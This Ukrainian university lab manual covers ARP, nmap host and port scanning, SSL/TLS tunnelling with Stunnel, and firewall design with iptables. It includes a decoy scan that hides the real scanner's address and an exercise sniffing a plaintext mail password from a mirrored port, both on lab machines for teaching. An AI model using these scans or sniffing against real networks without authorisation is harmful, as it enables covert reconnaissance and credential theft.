2 На якому етапі мережевої взаємодії виконується ARP запит?
3 За якими адресами виконується  ARP запит?
4 Яка структура  ARP пакети при запиті та при відповіді?
5 Для чого слугує ARP-кеш?
6 Як взнати вміст  ARP кешу?
7 Як часто змінюється вміст  ARP кешу?
8 Як перевірити час існування динамічного запису в  ARP кеші?

Лабораторна робота №5. Дослідження безпеки ресурсів мережі
Тема: Безпека ресурсів мережі
Мета: Отримання навичок проведення дослідження безпеки вузлів в мережі за допомогою утиліти nmap
Теоретичні відомості
Nmap (“Network Mapper”) це утиліта з відкритим кодом для дослідження мережі та перевірки безпеки вузлів. Її було розроблено для швидкого сканування великих мереж, але вона може застосовуватись і для одиничних цілей. 
Nmap використовує необроблені IP пакети у оригінальний спосіб, для  визначення які вузли (хости) доступні у мережі, які сервіси (назва додатку та версія) вони використовують, які операційні системи (тип та версії ОС) вони використовують, які типи пакетних фільтрів/брандмауерів використовуються  та інші характеристики. Зазвичай Nmap використовується для перевірки безпеки, але вона також може бути корисною для звичайних задач, таких як контролювання структури мережі, керування розкладом запуску сервісів та облік часу роботи вузлу (хосту) або сервісу.
1. Для визначення активних вузлів у мережі без сканування відкритих у них портів nmap запускається з наступними параметрами (приклад для мережі 192.168.1.0/24)
nmap -sn 192.168.1.0/24
Відповідь формується тільки з доступних вузлів:
[image: image51.png]Nmap scan report for 192.168.0.110
Host is up (0.019s latency).

Not shown: 65529 filtered ports
PORT STATE  SERVICE

139/tcp open  netbios-ssn
443/tcp closed https

445/tcp open  microsoft-ds
2869/tcp closed icslap

5800/tcp closed vnc-http

5900/tcp closed vnc

Nmap done: 1 IP address (1 host up) scanned in 135.27 seconds




2. Для певного вузла можна визначити тип операційної системи, для чого використовується ключ -А: 
nmap -A 192.168.0.110
Відповідь може містити як назву операційної системи, її версію, так і стан та доступність специфічних для неї портів:
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За допомогою 153 скриптів nmap визначає доступні сервіси на вузлі. Для цього необхідно скористатись наступною командою:
nmap -v -A 192.168.0.110
Для визначення захищеності вузла або мережі фаєрволом (не працює при використанні WiFi) використовується команда
nmap -sA 192.168.1.110
Якщо вузол захищено фаєрволом, то його порти можна просканувати за допомогою команди
nmap -Pn 192.168.1.110
3. Отримати повну інформацію про інтерфейси та маршрути вузла, на якому запускається команда, можна за допомогою:
nmap --iflist
[image: image53.png]PC1 192.168.1.1/24 PC2 1921681224 PC3 192.168.1.3/24




4. Сканування усіх портів певного вузла можна виконати за допомогою наступної команди
nmap -p "1-" 192.168.0.110
Результат сканування, наприклад, може виглядати наступним чином:
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Для визначення номеру версії віддалених сервісів можна виконати команду
nmap -sV 192.168.1.110
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Завдання до лабораторної роботи №5

1 Визначте мережеву конфігурацію комп’ютера, за яким виконується лабораторна робота і занесіть її у звіт. 
2 Виконайте сканування підмережі цього комп’ютера (приклад у пункті 1) і його результат занесіть у звіт.
3 Для проведення наступних експериментів необхідно мати доступ до другого комп’ютера (за його відсутності, встановіть віртуальну машину, інсталюйте на неї операційну систему та налагодіть її мережеве з’єднання). 
4 Виконайте дії, що представлено в 2-4 пунктах практичної частини, до обраного (другого) комп’ютера. Їх результат занесіть у звіт.
5 Встановіть на другий комп’ютер пакет Wireshark — аналізатор мережевих пакетів та запустіть його під правами рівня системного адміністратора. Запустіть його на захоплення пакетів з опцією “host IP_address”, де замість  IP_address вкажіть ІР адресу цього комп’ютеру.
6 За допомогою наступної команди проскануйте у другого комп’ютера один відкритий порт (за результатом завдання 4) та будь-який порт, що у скануванні не був визначений:
  


nmap -p 80 192.168.0.110
 де -р 80 — вказує, що сканується порт 80 (http).
Визначить як відбувалось сканування: скільки і які пакети надіслав перший комп’ютер, і які пакети надсилались у відповідь; які прапорці використовували комп’ютери на рівні транспортного протоколу ТСР, і що вони означають; в чому різниця між скануванням відкритого порту та невизначеного порту.
7 Налаштуйте Wireshark на захоплення пакетів, як описано вище у п.5. 
Виконайте сканування портів комп’ютера з маскуванням, яке  виконується з використанням фіктивних вузлів для відволікання від реального джерела сканування. Навіть при виявленні факту сканування, як правило, встановити система не може виявити з якої адреси відбувалось справжнє сканування, а які були фіктивними. Загальний вигляд такого запиту: 
       nmap -n -Ddecoy-ip1,decoy-ip2,your-own-ip,decoy-ip3 remote-host-ip
Наприклад,
       nmap -p 80 -D 10.1.100.5,10.5.1.2,192.168.0.111,3.4.2.1 192.168.0.110
Визначить як відбувалось сканування: скільки і які пакети сканування надійшли до комп’ютера, які ІР адреси були у цих пакетів, які пакети надсилались у відповідь.
8 Підготуйте та надайте звіт. 
Запитання для самоперевірки

1 Що зветься сокетом (socket)?
2 Для чого призначено порти з номерами від 0 до 1023?
3 Чи можуть одночасно для ТСР та UDP використовуватись порти з однаковими номерами? Дайте пояснення.
4 Як визначити наявність у мережі комп’ютерів з певною ІР адресою?
5 Як за допомогою утиліти ping виконати сканування за ІР адресами в локальній мережі?

ТЕМА 5. Комплексний захист у корпоративних інформаційних системах
Лабораторна робота №6. Тунелювання з’єднань з використанням протоколу SSL
Тема: Тунелювання з’єднань з використанням протоколу SSL
Мета: Вивчити принципи безпечного обміну інформацією з використанням протоколу SSL та ОС Linux
Теоретичні відомості
HTTPS, SSL, TLS – протоколи шифрування даних. HTTPS — розширення протоколу HTTP, що підтримує шифрування. Дані, що передаються за протоколом HTTP, «упаковуються» в криптографічний протокол SSL або TLS, тим самим забезпечується захист цих даних. На відміну від HTTP, для HTTPS за замовчуванням використовується TCP порт 443. Цю систему було розроблено компанією Netscape Communications Corporation, щоб забезпечити аутентифікацію та захищене з'єднання. HTTPS широко використовується у світі для веб додатків, у яких важливою є безпека з'єднання, наприклад, у платіжних системах.
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Рис. 6.1 – Послідовність перетворення протоколу HTTP до HTTPS
SSL (англ. Secure Sockets Layer — протокол захищених сокетів) -криптографічний протокол, що забезпечує безпечну передачу даних через мережу Інтернет. За допомогою його створюється захищене з'єднання між клієнтом і сервером. SSL розроблявся компанією Netscape Communications і зараз прийнятий IETF у якості стандарту.
Використовує шифрування з відкритим ключем для підтвердження справжності передавача та одержувача. Підтримує надійність передачі за рахунок використання коригувальних кодів і безпечних хеш-функцій.
SSL складається із двох рівнів. На нижньому рівні багаторівневого транспортного протоколу (наприклад TCP) він є протоколом запису і використовується для інкапсуляції (тобто формування пакета) різних протоколів. Для кожного інкапсульованого протоколу він забезпечує умови, за яких сервер і клієнт можуть підтверджувати один одному свою справжність, виконувати алгоритми шифрування і обмін криптографічними ключами, перш ніж протокол прикладної програми почне передавати і отримувати дані.
Для доступу до сторінок, захищених протоколом SSL, в URL замість звичайного префікса http застосовується префікс https (порт 443), що вказує на те, що буде використовуватися SSL-з'єднання.
Для роботи SSL потрібно, щоб на сервері був SSL-сертифікат.
Протокол SSL розробили фірмою Netscape. Його завдання:
1. Обов'язковість підтвердження автентичності сервером.
2. Опціональна перевірка автентичності клієнта.
3. Спільна генерація випадкового сеансового ключа.
4. Підтримка різних симетричних алгоритмів для шифрування даних.
5. Підтримка різних алгоритмів хешування для реалізації перевірки цілісності через MAC.
TLS (англ. Transport Layer Security) - криптографічний протокол, що забезпечує захищену передачу даних між вузлами в мережі Інтернет.
TLS-протокол заснований на Netscape SSL-протоколі версії 3.0 і складається з двох частин - TLS Record Protocol та TLS Handshake Protocol. Різниця між SSL 3.0 та TLS 1.0 є незначною. TLS Working Group, яку засновано у 1996 році, продовжує працювати над протоколом.
Алгоритм процедури встановлення з'єднання протоколу TLS handshake наступний. Клієнт і сервер, що працюють за TLS встановлюють з'єднання, використовуючи процедуру handshake (з англ. handshake - рукостискання). Протягом цього handshake, клієнт та сервер приймають угоду щодо параметрів, що використовуються для встановлення захищеного з'єднання.
Послідовність дій під час встановлення TLS з'єднання наступна.
Клієнт посилає ClientHello повідомлення, вказуючи останню версію протоколу, що підтримується TLS, випадкове число і список підтримуваних методів шифрування і стискання, придатних для роботи з TLS.
Сервер відповідає ServerHello повідомленням, що містить: вибрану сервером версію протоколу, випадкове число, надіслане клієнтом, відповідний алгоритм шифрування та стиснення зі списку наданого клієнтом.
Сервер посилає Certificate повідомлення, яке містить цифровий сертифікат сервера. Залежно від алгоритму шифрування, цей етап може бути пропущено. Сервер може запросити сертифікат у клієнта, у такому разі з'єднання буде взаємно автентифіковано.
Сервер надсилає ServerHelloDone повідомлення, що ідентифікує закінчення handshake.
Клієнт відповідає ClientKeyExchange повідомленням, яке містить PreMasterSecret відкритий ключ, або нічого, залежно від алгоритму шифрування.
Клієнт та сервер, використовуючи PreMasterSecret ключ та випадково згенеровані числа, обчислюють загальний секретний ключ. Решта інформації про ключ буде отримано із загального секретного ключа і згенерованих клієнтом та сервером випадкових значень.
Клієнт надсилає ChangeCipherSpec повідомлення, яке вказує на те, що всю наступну інформацію буде зашифровано встановленим у процесі handshake алгоритмом, використовуючи загальний секретний ключ.
Клієнт надсилає повідомлення Finished, яке містить хеш і MAC (код автентифікації повідомлення), що згенеровані на основі попередніх повідомлень handshake.
Сервер намагається розшифрувати Finished-повідомлення клієнта та перевірити хеш та МАС. Якщо процес розшифрування або перевірки не вдається, handshake вважається невдалим і з'єднання буде обірвано.
Сервер надсилає ChangeCipherSpec та зашифроване Finished повідомлення та у свою чергу клієнт теж виконує розшифрування та перевірку.
З цього моменту handshake вважається завершеним та встановленим протоколом. Увесь наступний вміст пакетів буде зашифровано.
Шифратор TCP-з’єднання Stunnel. Для шифрування з'єднання можна використовувати утиліту Stunnel. Це безкоштовна програма для шифрування довільних з'єднань TCP всередині SSL (Secure Sockets Layer), яка забезпечує безпеку не-SSL сервісів та протоколів (наприклад, POP, IMAP, LDAP, тощо) і не вимагає жодних змін у коді демону. Утиліта Stunnel не містить криптографічного коду, а використовує зовнішні бібліотеки SSL. Вона працює як із OpenSSL, так і з SSLeay. За допомогою програми Stunnel можна перевірити сертифікати, перетворити адреси, захиститися від перехоплення даних, захиститися від маніпулювання даними. Програма допоможе захиститися від IP маршрутизації до джерела та DNS спуфінгу.
Принцип роботи демона Stunnel наступний: зашифрований пакет, що надходить для сервісу, розшифровується Stunnel і передається незахищеному сервісу. Передавання відповіді від сервісу відбувається у зворотному порядку. До переваг Stunnel можна віднести також простоту встановлення та налаштування. 
Завдання до лабораторної роботи №6

1.  Реалізуйте мережу, що представлено на схемі
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На комп’ютерах встановіть або запустіть ОС Linux. РС 1 виконує роль серверу, РС 2 — клієнта, РС 3 — зловмисник.
2. У налаштуваннях комутатору (switch) встановити режим “Mirroring Port” і впевнитись, що пакети каналу сервер-клієнт можна захопити на PC 3.
3. Налаштувати на РС 1 е-mail сервер. Автоматизувати авторизацію.
4. На РС 3 запустити Wireshark або tcpdump. Відправити пошту з комп’ютера клієнта. Визначити пакети з паролем на пошту.
5. На сервері встановіть (sudo apt install stunnel4) та запустить утиліту Stunnel на 995 порту для запуску поштового серверу. (https://www.stunnel.org/)
6. Включить використання SSL/TLS на клієнті. Повторіть етап 4.
7. Порівняти перехоплені пакети у двох випадках.
8. Підготуйте звіт. 
Запитання для самоперевірки

1 Чим відрізняються протоколи SSL та TLS ?
2 Які принципи роботи протоколу SSL?
3 Які задачі виконує протокол SSL ?
4 Які принципи роботи протоколу TLS?
5 Які задачі виконує протокол TLS ?
6 Які принципи роботи протоколу HTTPS?
7 Для чого призначено утиліту Stunnel ?
8 Як використовується утиліта Stunnel ?

Лабораторна робота №7. Міжмережеве екранування
Тема: Міжмережеве екранування
Мета: Вивчити призначення, налаштування та використання міжмережевого екранування.
Теоретичні відомості
Міжмережевий екран можна визначити як певний засіб захисту інформації. Спеціальне поєднання в ньому апаратного та програмного забезпечення дозволяє здійснювати аналіз та фільтрацію мережевих пакетів, що проходять через нього. Залежно від встановлених правил, міжмережевий екран пропускає або знищує пакети і таким чином дозволяє або забороняє мережеві з'єднання. Встановлюють міжмережевий екран на межі між внутрішньою (захищеною) та зовнішньою (потенційно небезпечною) мережами. Це класичний засіб захисту периметра комп'ютерної мережі, який контролює з'єднання між вузлами цих мереж. Синонімами за визначенням міжмережевого екрану є фаєрвол (від англ. терміну firewall) та брандмауер (німецький термін brandmauer).
Фільтрація пакетів проводиться на підставі правил. Найбільш безпечним для формування правил міжмережевого екрану вважається підхід «заборонено все, що явно не дозволено». У цьому випадку мережевий пакет перевіряється на відповідність дозвільним правилам, а якщо таких не знайдеться, то пакет буде  відкинуто. Але в деяких випадках застосовується і зворотний принцип: "дозволено все, що явно не заборонено". Тоді перевірка проводиться на відповідність заборонним правилам, і якщо таких не буде знайдено, пакет буде пропущено.
Фільтрацію можна проводити на різних рівнях еталонної моделі мережевої взаємодії OSI. За цією ознакою міжмережеві екрани можна поділити на три класи:
- брандмауер екранного маршрутизатора;
- екранувальний транспорт (шлюз сеансового рівня);
- екранувальний шлюз (шлюз прикладного рівня).
Брандмауер екранного маршрутизатора також відомий як брандмауер мережевого рівня або брандмауер з фільтруванням пакетів. Пакетна фільтрація є однією із давно відомих та розповсюджених технологій управління доступом до мережі, тому, зазвичай, брандмауери мають таку функцію. Брандмауер з фільтрацією пакетів це або маршрутизатор, або  виконувана на сервері програма, які відповідно до своєї конфігурації фільтрують вхідні та вихідні пакети. Брандмауер пропускає або відкидає пакети у відповідності до інформації, яка є у IP-заголовках пакетів. Наприклад, пакети можуть пропускатись або відхилятись на основі інформації, що дозволяє  асоціювати цей пакет із конкретними відправником та отримувачем (повна  асоціація), яка складається із наступних елементів:
– адреса відправника;
– адреса отримувача;
– інформація про додаток або протокол;
– номер порту джерела;
– номер порту отримувача.
Усі маршрутизатори (навіть ті, які не налаштовані для фільтрації пакетів), зазвичай перевіряють повну асоціацію пакета, щоб визначити, куди його потрібно направити. Брандмауер із фільтрацією пакетів перед відправленням пакета одержувачу порівнює його повну асоціацію з таблицею правил, відповідно до яких він повинен пропустити або відбракувати цей пакет. Якщо брандмауер отримав пакет, який не відповідає жодному табличному правилу, він застосовує правило, задане за замовчуванням, яке також має бути чітко визначене в таблиці брандмауера. З міркувань безпеки це правило зазвичай вказує на необхідність відбракування всіх пакетів, що не задовольняють жодному з інших правил.
Можна задати правила фільтрації пакетів, які «вказуватимуть» брандмауеру, які пакети повинні бути пропущені, а які відбраковані. Наприклад, можна визначити правила таким чином, щоб брандмауер відбраковував пакети, що надходять від зовнішніх серверів, IP-адреси яких вказані в таблиці. Можна також задати правило, відповідно до якого буде дозволено пропускати лише вхідні повідомлення електронної пошти, адресовані поштовому серверу, або правило блокування всіх поштових повідомлень, що надходять від зовнішнього хоста, яке розсилало спам.
Також можна налаштувати брандмауер для фільтрації пакетів на основі номерів портів, що задаються в заголовках пакетів TCP та UDP (User Datagram Protocol). У цьому випадку можна буде пропускати окремі види пакетів (наприклад, Telnet або FTP), лише якщо вони надсилаються до певних серверів (відповідно до Telnet або FTP). Однак успішне виконання подібного правила залежить від того, які угоди прийняті в мережі, що функціонує на основі TCP/IP: для роботи додатків TCP/IP сервери та клієнти зазвичай використовують конкретні порти (які часто називають відомими, тобто наперед визначеними), однак це не є обов'язковою умовою.
Наприклад, програма Telnet на серверах мережі з TCP/IP зазвичай працює через порт 23. Щоб дозволити сеанси Telnet тільки з певним сервером, необхідно задати правила, одне з яких "змусить" брандмауер пропускати всі пакети, що запитують порт 23 за адресою 123.45.6.7 (приклад IP-адреси сервера Telnet), а інше – відбраковувати вхідні пакети, які вимагають цей порт за іншими адресами. Зазвичай, реальні правила є складнішими і передбачають виконання декількох умов одночасно.
Переваги брандмауерів з фільтруванням пакетів:
– відносна невисока вартість;
– невелика затримка під час проходження пакетів.
Недоліки брандмауерів із фільтрацією пакетів:
– локальна мережа маршрутизується із Інтернет;
– правила фільтрації складні в описанні, тому потребують певні знання технологій TCP та UDP;
– відсутня автентифікація на рівні користувача;
– аутентифікацію з використанням IP-адреси можна обійти за допомогою IP-спуфінгу, коли атакуюча система видає себе за іншу через підміну IP-адреси.
Шлюз сеансового рівня стежить за підтвердженням зв'язку (квитування) між авторизованим клієнтом і зовнішнім хостом (і навпаки), визначаючи, чи сеанс зв'язку, що запитується, допустимим. При фільтрації пакетів шлюз сеансового рівня полягає в інформації, що у заголовках IP-пакетів сеансового рівня протоколу TCP, тобто. функціонує на два рівні вище, ніж брандмауер із фільтрацією пакетів.
Щоб визначити, чи є запит на сеанс зв'язку допустимим, шлюз сеансового рівня виконує приблизно таку процедуру. Коли авторизований клієнт запитує деяку послугу, шлюз приймає цей запит, перевіряючи, чи задовольняє клієнт базовим критеріям фільтрації (наприклад, чи DNS-сервер може визначити IP-адресу клієнта та асоційоване з ним ім'я). Потім, діючи від імені клієнта, шлюз встановлює з'єднання із зовнішнім хостом і слідкує за виконанням процедури квитування зв'язку протоколу TCP.
Ця процедура складається з обміну TCP-пакетами, які позначаються прапорами SYN (синхронізувати) та АСК (підтвердити). Перший пакет сеансу TCP, позначений прапором SYN і містить довільне число, наприклад 1000, є запитом клієнта на відкриття сеансу. Зовнішній хост, який одержав цей пакет, посилає у відповідь пакет, позначений прапором АСК і містить число, на одиницю більше, ніж у прийнятому пакеті (у нашому випадку 1001 – razgovorodele.ru), підтверджуючи таким чином прийом пакета SYN від клієнта. Після цього здійснюється зворотна процедура: хост посилає клієнту пакет SYN з вихідним числом (наприклад, 2000), а клієнт підтверджує отримання передачею пакета АСК, що містить число 2001.
У цьому процес квитування зв'язку завершується. Шлюз сеансового рівня "вважає" запитаний сеанс допустимим тільки в тому випадку, якщо при виконанні процедури квитування зв'язку прапори SYN і АСК, а також числа, що містяться в TCP-пакетах, логічно пов'язані між собою. Після того як шлюз «визначив», що довірений клієнт та зовнішній шлюз є авторизованими учасниками сеансу TCP, та перевірив допустимість цього сеансу, він встановлює з'єднання.
Починаючи з цього моменту, шлюз просто копіює і перенаправляє пакети туди і назад, не проводячи жодної фільтрації. Він підтримує таблицю встановлених з'єднань, пропускаючи дані, які стосуються одному з сеансів зв'язку, які зафіксовані у цій таблиці. Коли сеанс завершується, шлюз видаляє відповідний елемент з таблиці та розриває ланцюг, що використовується в даному сеансі. Для копіювання та перенаправлення пакетів у шлюзах сеансового рівня використовуються спеціальні програми, які іноді називають канальними посередниками (pipe proxies), оскільки вони встановлюють між двома мережами віртуальний ланцюг, або канал, а потім дозволяють пакетам (що генеруються додатками TCP/IP) проходити по цьому каналу.
Шлюз сеансового рівня виконує ще одну важливу функцію захисту: він використовується як сервер-посередник (proxy server). І хоча цей термін передбачає наявність сервера, на якому працюють програми-посередники (що справедливо для шлюзу сеансового рівня), у цьому випадку він означає дещо інше. Сервером-посередником може бути брандмауер, який використовує процедуру трансляції адрес, при якій відбувається перетворення внутрішніх IP-адрес в одну «надійну» IP-адресу. Ця адреса асоціюється з брандмауером, з якого передаються всі вихідні пакети.
В результаті в мережі зі шлюзом сеансового рівня всі вихідні пакети виявляються відправленими з цього шлюзу, що виключає прямий контакт між внутрішньою (авторизованою) мережею і потенційно небезпечною зовнішньою мережею (у нашому випадку мережа Інтернет – razgovorodele.ru). IP-адреса шлюзу сеансового рівня стає єдиною активною IP-адресою, яка потрапляє до зовнішньої мережі. Таким чином, шлюз сеансового рівня та інші сервери-посередники захищають внутрішні мережі від нападів типу spoofing (імітація адрес або підміна адрес).
Шлюзи сеансового рівня немає «вроджених» вразливих місць, проте після встановлення зв'язку такі шлюзи фільтрують пакети лише з сеансовому рівні, тобто. не можуть перевіряти вміст пакетів, що передаються між внутрішньою та зовнішньою мережею на рівні прикладних програм, тобто ця передача здійснюється «наосліп». Таким чином, хакер, що знаходиться в зовнішній мережі, може "протягнути" свої "шкідливі" пакети через шлюз і звернеться безпосередньо до внутрішнього Web-серверу, який сам по собі може не забезпечувати функції брандмауера. Іншими словами, якщо процедура квитування зв'язку успішно завершена, шлюз сеансового рівня встановить з'єднання і буде тупо копіювати і перенаправляти всі наступні пакети незалежно від їх вмісту.
Щоб фільтрувати пакети, що генеруються певними мережними службами відповідно до їх вмісту, потрібен шлюз прикладного рівня.
Так само як і шлюз сеансового рівня, шлюз прикладного рівня перехоплює вхідні та вихідні пакети, використовує програми-посередники, які копіюють та перенаправляють інформацію через шлюз, а також функціонує як сервер-посередник, виключаючи прямі з'єднання між довіреним сервером або клієнтом та зовнішнім хостом . Однак посередники, що використовуються шлюзом прикладного рівня, мають важливі відмінності від канальних посередників шлюзів сеансового рівня: по-перше, вони пов'язані з програмами, а по-друге, можуть фільтрувати пакети на прикладному рівні. На відміну від канальних посередників, посередники прикладного рівня пропускають лише пакети, які їм доручено обслуговувати. Наприклад, програма-посередник служби Telnet може копіювати, перенаправляти та фільтрувати лише графік, який генерується цією службою.
Якщо мережа працює лише шлюз прикладного рівня, то вхідні та вихідні пакети можуть передаватися лише тих служб, котрим є відповідні посередники. Так, якщо шлюз прикладного рівня використовує лише програми-посередники FTP і Telnet, він пропускатиме пакети цих служб, блокуючи у своїй пакети всіх інших служб. На відміну від шлюзів сеансового рівня, які копіюють і «сліпо» перенаправляють всі пакети, що надходять, посередники прикладного рівня перевіряють вміст кожного пакета, що проходить через шлюз.
Ці посередники можуть фільтрувати окремі види команд або інформації протоколах прикладного рівня, які їм доручено. Утиліти цих шлюзів дозволяють фільтрувати певні команди, що використовуються цими службами (FTP, Telnet, HTTP тощо – razgovorodele.ru). Наприклад, можна налаштувати шлюз таким чином, щоб він запобігав використанню клієнтами команди FTP Put, яка дає можливість користувачеві, підключеному до FTP-серверу, записувати на нього інформацію. Багато мережних адміністраторів воліють заборонити використання цієї команди, щоб зменшити ризик випадкового пошкодження інформації, що зберігається на FTP-сервері, і ймовірність заповнення його гігабайтами хакерських даних, що пересилаються на сервер для заповнення його дискової пам'яті і блокування роботи.
На додаток до фільтрації пакетів багато шлюз прикладного рівня реєструють всі виконувані сервером дії і, що найважливіше, попереджають мережевого адміністратора про можливі порушення захисту. Наприклад, при спробах проникнення в систему ззовні «BorderWare Firewall Server» компанії «Secure Computing» дозволяє фіксувати адреси відправника та одержувача пакетів, час, у який ці спроби були здійснені, і протокол, що використовується. Продукт Black Hole компанії Milkyway Networks також реєструє всі дії сервера і попереджає адміністратора про можливі порушення, надсилаючи йому повідомлення електронною поштою або на пейджер.
Переваги:
– локальна мережа невидима з Internet;
– захист на рівні додатків дозволяє здійснювати велику кількість додаткових перевірок, знижуючи цим ймовірність злому з використанням дірок у програмному забезпеченні;
– при організації аутентифікації на рівні користувача може бути реалізована система негайного попередження про спробу злому.
Недоліки:
– вища, ніж для пакетних фільтрів вартість;
– продуктивність нижча, ніж для пакетних фільтрів.
Брандмауери експертного рівня поєднують у собі елементи всіх описаних вище категорій. Як і брандмауери з фільтрацією пакетів, вони працюють на мережному рівні, фільтруючи вхідні та вихідні пакети на основі перевірки IP-адрес та номерів портів. Брандмауери експертного рівня також виконують функції шлюзу сеансового рівня, визначаючи, чи пакети відносяться до відповідного сеансу. І, нарешті, брандмауери експертного рівня беруть він функції шлюзу прикладного рівня, оцінюючи вміст кожного пакета відповідно до політики безпеки, виробленої у конкретній організації. Як і шлюз прикладного рівня, брандмауер експертного рівня може бути налаштований для відбраковування пакетів, що містять певні команди, наприклад команди Put та Get служби FTP. Однак, на відміну від шлюзів прикладного рівня, при аналізі даних прикладного рівня такий брандмауер не порушує клієнт-серверної моделі взаємодії в мережі.
Шлюз прикладного рівня встановлює два з'єднання: одне – між авторизованим клієнтом та шлюзом, друге – між шлюзом та зовнішнім хостом. Після цього він просто пересилає інформацію між цими двома з'єднаннями. Незважаючи на високий рівень захисту, що забезпечується подібними шлюзами, така схема може позначитись на продуктивності роботи. На противагу цьому брандмауери експертного рівня допускають прямі з'єднання між клієнтами та зовнішніми хостами. Для забезпечення захисту такі брандмауери перехоплюють та аналізують кожен. Замість застосування пов'язаних із додатками програм-посередників, брандмауери експертного рівня використовують спеціальні алгоритми розпізнавання та обробки даних на рівні додатків.
За допомогою цих алгоритмів пакети порівнюються з відомими шаблонами даних, що теоретично має забезпечити більш ефективну фільтрацію пакетів. Оскільки брандмауери експертного рівня допускають пряме з'єднання між авторизованим клієнтом та зовнішнім хостом, деякі стверджують, що брандмауери цієї категорії забезпечують менш високий рівень захисту, ніж шлюзи прикладного рівня. Інші ж дотримуються протилежної думки – razgovorodele.ru. Проте брандмауери експертного рівня забезпечують один із найвищих на сьогоднішній день рівнів захисту корпоративних мереж, і, за твердженням фахівців, обдурити їх дуже не просто. Однак не варто забувати, що навіть ці надійні брандмауери не забезпечують 100% безпеки.
На рис.7.1 представлено типові схеми підключення міжмережевих екранів (firewall). У першому випадку (рис.7.1 а) міжмережевий екран встановлюється після маршрутизатору і захищає всю внутрішню мережу. Така схема застосовується, якщо вимоги у сфері захисту від несанкціонованого міжмережевого доступу приблизно однакові для всіх вузлів внутрішньої мережі. Наприклад, "дозволяти з'єднання, що встановлюються з внутрішньої мережі у зовнішню, і припиняти спроби підключення із зовнішньої мережі у внутрішню". Якщо вимоги для різних вузлів різні - наприклад, потрібно розмістити поштовий сервер, до якого можуть підключатися «ззовні», то подібна схема установки міжмережевого екрана не є достатньо безпечною. Наприклад, хакер у результаті реалізації мережевої атаки може отримати контроль над таким поштовим сервером і через нього вже отримає  доступ до інших вузлів внутрішньої мережі.
У подібних випадках іноді перед міжмережевим екраном створюється відкритий сегмент мережі підприємства (рис.7.1, б), а мережевий екран захищає іншу внутрішню мережу. Недолік цієї схеми у тому, що підключення до вузлів відкритого сегмента міжмережевим екраном не контролюється. 
Кращим у цьому випадку є використання міжмережевого екрану з трьома мережевими інтерфейсами (рис.7.1, в). Міжмережевий екран з трьома мережними інтерфейсами конфігурується таким чином, щоб правила доступу у внутрішню мережу були більш суворими, ніж у відкритий сегмент. У той же час, і внутрішня мережа, і відкритий сегмент будуть контролюватись міжмережевим екраном. Такий відкритий сегмент часто зветься «демілітаризованою зоною» — DMZ.
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Рис. 7.1. Типові схеми підключення міжмережевих екранів (firewall):
а) підключення firewall із двома мережевими інтерфейсами; б) підключення firewall з двома мережевими інтерфейсами при виділенні відкритого сегмента внутрішньої мережі; в) підключення firewall з трьома мережевими інтерфейсами; г) підключення двох  firewall.
Більш надійною для відкритого сегменту DMZ вважається схема, в якій для її захисту використовується два незалежних міжмережевих екрани (рис.7.1, г). Другий firewall реалізує набір правил фільтрації, що забезпечує захистом внутрішню мережу, які більш жорсткі проти правил першого firewall, що контролює доступ до DMZ. Навіть успішна атака на перший firewall не зробить внутрішню мережу беззахисною.
Типовим стало встановлення програмного firewall на персональні комп'ютери або інші комп’ютери, що захищаються. Іноді такий firewall називають "персональним". Подібна схема дозволяє захиститися від загроз, що надходять не тільки із зовнішньої мережі, а й із внутрішньої. Особливо актуальним є застосування персональних firewall при безпосередньому підключенні комп'ютера до потенційно небезпечної мережі. Наприклад, при підключенні домашнього комп'ютера до Інтернету або ноутбуку до загально доступної мережі кафе, вокзалу, транспорту, тощо.
Практична частина
Файрвол у системі linux контролюється програмою iptables (для ipv4) та ip6tables (для ipv6). Для використання утиліти необхідні привілеї суперкористувача (root).
Основними поняттями iptables є:
1. Правило, яке складається з критерію, дії та лічильника. Якщо пакет відповідає критерію, то до нього застосовується дія, і він враховується лічильником. Якщо критерій відсутній, то неявно передбачається критерій "усі пакети". Якщо відсутня дія, то правило працюватиме лише як лічильник. Критерієм є логічний вираз, що аналізує властивості пакета та/або з'єднання і визначає, чи підпадає даний конкретний пакет під дію поточного правила. Дія  описує те, що потрібно зробити із пакетом і/або з'єднанням, якщо вони відповідають правилу. Лічильник забезпечує облік кількості пакетів, які потрапили під критерій правила. Він враховує сумарний обсяг таких пакетів у байтах.
2. Ланцюжок — це упорядкована послідовність правил. Ланцюжки можна розділити на власні та базові. Базовий ланцюжок створюється за замовчуванням при ініціалізації таблиці. Кожен пакет, залежно від того, чи призначений він самому хосту, згенерований ним або є транзитним, повинен пройти набір базових ланцюжків різних таблиць. Крім того, базовий ланцюжок відрізняється від користувальницького наявністю «за замовчуванням дії» (default policy). Ця дія застосовується до тих пакетів, які було оброблено іншими правилами цього ланцюжка і викликаних з нього ланцюжків. Імена базових ланцюжків завжди записуються у верхньому регістрі (PREROUTING, INPUT, FORWARD, OUTPUT, POSTROUTING). Ланцюжок, що створюється користувачем може використовуватись лише в межах своєї таблиці. Рекомендується не використовувати для таких ланцюжків імена у верхньому регістрі, щоб уникнути плутанини із базовими ланцюжками та вбудованими діями.
3. Таблицею є сукупність базових і користувальницьких ланцюжків, об'єднаних загальним функціональним призначенням. Імена таблиць (як і модулів критеріїв) записуються в нижньому регістрі, тому що в принципі не можуть конфліктувати з іменами ланцюжків користувача. При виклику команди iptables таблиця вказується у форматі -t ім’я_таблиці. У разі відсутності явної вказівки, використовується таблиця filter.
Усі пакети пропускаються через певні послідовності ланцюжків. При проходженні пакетом ланцюжка до нього послідовно застосовуються всі правила цього ланцюжка у порядку їх розташування. Під застосуванням правила розуміється перевірка пакета на відповідність критерію і, якщо пакет цьому критерію відповідає, застосовується до нього зазначена дія. Дією може бути як елементарна операція (наприклад, ACCEPT, MARK), так і перехід до одного із ланцюжків користувача. Дії можуть бути термінальними та нетермінальними. Термінальні дії припиняють обробку пакета в рамках даного базового ланцюжка, наприклад, ACCEPT, REJECT. Нетермінальні дії не переривають процес обробки пакета, наприклад, MARK, TOS. Якщо пакет пройшов через весь базовий ланцюжок і до нього не було застосовано жодної термінальної дії, то до нього застосовується стандартна дія для даного ланцюжка, яка є обов'язково термінальною. 
Наступна команда дозволяє вивести список правил, що діють:
# iptables -L -n -v
Для виведення списку правил для пакетів, що приймаються (INPUT) або відправляються (OUTPUT) застосовуються наступні команди
# iptables -L INPUT -n -v
# iptables -L OUTPUT -n -v
За допомогою наступних команд можна видалити усі або певні правила та ланцюжки:
# iptables -F 
# iptables -X
# iptables -t nat -F
# iptables -t nat -X
# iptables -t mangle -F
# iptables -t mangle -X
# iptables -P INPUT ACCEPT
# iptables -P OUTPUT ACCEPT
